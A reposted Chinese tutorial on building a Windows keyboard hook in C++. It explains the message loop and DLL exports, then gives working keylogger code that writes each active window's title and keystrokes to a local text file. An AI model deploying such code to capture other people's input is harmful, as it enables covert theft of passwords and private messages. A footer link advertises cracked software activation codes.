c++ 实现键盘钩子

c++ 实现键盘钩子一.总体概述  主要实现的是将windows活跃或是顶层窗口的键盘输入的记录下来储存在txt文件中。主要用到的知识windows操作系统的消息机制,动态库等一些知识二.具体的实现  首先我们要重新建立一个windows桌面应用程序,然后我们运行一下我们会看到一个窗口,我们创建桌面应用程序而不创建控制台程序是因为桌面应用程序,这里面最主要的原因控制应用程序模拟DOS系统的那种CUI操作,…

大家好,又见面了,我是你们的朋友全栈君。

一.总体概述

  主要实现的是将windows活跃或是顶层窗口的键盘输入的记录下来储存在txt文件中。主要用到的知识windows操作系统的消息机制,动态库等一些知识

二.具体的实现

  首先我们要重新建立一个windows桌面应用程序,然后我们运行一下我们会看到一个窗口,我们创建桌面应用程序而不创建控制台程序是因为桌面应用程序,这里面最主要的原因控制应用程序模拟DOS系统的那种CUI操作,不是直接用消息驱动的,而这里我们采用的windows应用程序是依靠消息驱动的(这里我们要注意的是DOS和windows的区别,DOS下的任何程序都是使用顺序的、过程驱动的程序设计方法。这种程序都有一个明显的开始、明显的过程以及一个明显的结束,因此通过程序就能直接控制程序事件或过程的全部顺序。即使是在处理异常时,处理过程也仍然是顺序的、过程驱动的结构。而Windows的驱动方式则是事件驱动的,即程序的流程不是由事件的顺序来控制,而是由事件的发生来控制,所有的事件是无序的,所为一个程序员,在编写程序时,并不知道用户会先按下哪个按纽,也就不知道程序先触发哪个消息。因此我们的主要任务就是对正在开发的应用程序要发出的或要接收的消息进行排序和管理。事件驱动程序设计是密切围绕消息的产生与处理而展开的,一条消息是关于发生的事件的消息。 )

应用程序结构的简要讲解:

  vs创建的文件中首先由三种函数构成注册窗口(包含窗口的一些基本的信息),初始化窗口(窗口的初始化函数),消息处理的窗口(回调函数,dispatchmsg()后就会调用这个回调函数,让应用程序处理各种的消息,窗口的各种的消息都是在这里定义的),然后我们可以通过主循环的消息循环机制不断的Getmsg()来阻塞的等待操作系统分发到该应用消息队列的消息,通过translate来翻译消息然后,dipach分发掉,这就是该应用程序的运行机制。

    // 主消息循环: 
    while (GetMessage(&msg, nullptr, 0, 0))
    {
        if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }

  知道上面的原理后我们可以在相应的消息下安装钩子和删除钩子就可以了(WM_CREATE安装钩子,WM_DESTROY卸载钩子),接下来我们采用动态库的方式来编写钩子的核心函数,我们新建一个空的静态库(因为钩子的设置需要我们新建立一个动态库),然后在头文件写下如下:

#pragma once

#include <Windows.h>
#include <stdio.h>

//启动钩子
extern  "C" _declspec(dllexport) bool installHock();

//卸载钩子
extern  "C" _declspec(dllexport) bool unistallHock();

  其中我们采用extern “c” 的方式是因为c++的编译器往往会将函数名字进行修改为了C语言和C++都能调用dll文件中API函数,我们希望动态链接库文件在编译时,导出函数的名称不要发生变化,而在一般的调用的时候我们要采用_declspec()即可,而在调用端我们想引用这个静态库,首先现将编译好的静态库(.lib)放置在所要调用的cpp文件的同一个目录下,然后写下如下的代码:

//引入动态库
#pragma comment(lib , "hockdll")
//启动钩子
extern  "C" _declspec(dllimport) bool installHock();
//卸载钩子
extern  "C" _declspec(dllimport) bool unistallHock();

  那么我们接下来要做的就是专心的写我们的键盘钩子的核心函数:(第一个函数是设置钩子的回调函数,一旦键盘有所操作我们将触发,这里的回调函数的格式我们可以通过转到定义来查看,windows的API的回调函数都会在函数名字前加上一个callback)

HHOOK g_hook;

LRESULT CALLBACK keyPrpc(int code, WPARAM wParam, LPARAM lParam)
{
	char szWriteText[256];
	char szWindowTittle[256];
	char szKeyTest[256];

	HWND hWnd;
	hWnd = ::GetActiveWindow();
	if (hWnd == NULL)
	{
		hWnd = ::GetForegroundWindow();
		if (hWnd == NULL) return CallNextHookEx(g_hook, code, wParam, lParam);
	}
	//得到窗口的标题
	GetWindowTextA(hWnd, szWindowTittle, 256);
	//获取在在窗口输入的按键的内容
	if (code<0 || code == HC_NOREMOVE) return CallNextHookEx(g_hook, code, wParam, lParam);
	if (lParam & 0x40000000) return CallNextHookEx(g_hook, code, wParam, lParam);

	GetKeyNameTextA(lParam, szKeyTest, 256);
	sprintf(szWriteText, "%s:%s\r\n", szWindowTittle, szKeyTest);
	//保存到文件中
	FILE* fp = fopen("C:\\Users\\1\\Desktop\\haha.txt", "a");
	if (fp == NULL) return CallNextHookEx(g_hook, code, wParam, lParam);
	fwrite(szWriteText, 1, strlen(szWriteText), fp);
	fclose(fp);
	return CallNextHookEx(g_hook, code, wParam, lParam);
}

//启动钩子
bool installHock()
{
	//获取按键的信息
	g_hook=SetWindowsHookEx(WH_KEYBOARD, keyPrpc, GetModuleHandle(L"hockdll"), NULL);
	if (g_hook == NULL) return false;

	MessageBox(NULL,L"设置钩子成功", L"提示",NULL);
	return true;
}

//卸载钩子
bool unistallHock()
{
	return UnhookWindowsHookEx(g_hook);
}

  

 

转载于:https://www.cnblogs.com/yskn/p/9513020.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/141984.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 小学没跟上编程的步伐,长大了这样弥补,网友:一切都是为了生活「建议收藏」

    小学没跟上编程的步伐,长大了这样弥补,网友:一切都是为了生活「建议收藏」浙江省今年9月份开始的新学期,三到九年级信息技术课将同步替换新教材,其中,八年级将新增Python课程内容。新高一信息技术编程语言由VB替换为Python,大数据、人工智能、程序设计与算法等内容按照教材规划五六年级开始接触。随着我国北京、上海、广州、重庆、江苏等多地政策推广少儿编程教育的力度逐步增大,家长们愈发重视编程教育,一方面可以为高考选中的信息技术课程做铺垫,另一方面从小培养大数据意识。因为学习少儿编程除了帮孩子适应未来时代发展潮流,还可以培养孩子的抽象思考能力,帮助孩子训练整合信息、融汇贯通

    2022年5月16日
    40
  • 字符串常量池详解「建议收藏」

    字符串常量池详解「建议收藏」字符串常量池详解文章所涉及的资料来自互联网整理和个人总结,仅作为个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!概述在JVM中,为了减少字符串对象的重复创建,维护了一块特殊的内存空间,这块内存空间就被称为字符串常量池。在JDK1.6及之前,字符串常量池存放在方法区中。到JDK1.7之后,就从方法区中移除了,而存放在堆中。一下是《深入理解虚Java虚拟机》第二版原文:对于HotSpot虚拟机,根据官方发布的路线图信息,现在也有放弃永久代并逐步改为采用NativeMemory来实

    2022年7月28日
    1
  • NBNS扫描工具nbtscan-unixwiz

    NBNS扫描工具nbtscan-unixwizNBNS扫描工具nbtscan-unixwizNBNS是NetBIOSNameService的缩写,表示NetBIOS名称解析服务。NETBIOS是一种网络协议,用于实现消息通信和资源共享。利用该服务,可以基于NETBIOS协议获取计算机名称,从而进一步判断共享资源。KaliLinux提供了专用工具nbtscan-unixwiz。它可以直接扫描单个或者多个计算机名称或者IP地址,然后搜索…

    2022年10月21日
    0
  • intellij idea 2021激活码(最新序列号破解)

    intellij idea 2021激活码(最新序列号破解),https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月20日
    227
  • Pytest(10)assert断言[通俗易懂]

    Pytest(10)assert断言[通俗易懂]前言断言是写自动化测试基本最重要的一步,一个用例没有断言,就失去了自动化测试的意义了。什么是断言呢?简单来讲就是实际结果和期望结果去对比,符合预期那就测试pass,不符合预期那就测试failed

    2022年7月30日
    3
  • JQuery Datepicker 中文显示设置

    JQuery Datepicker 中文显示设置

    2021年8月21日
    65

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号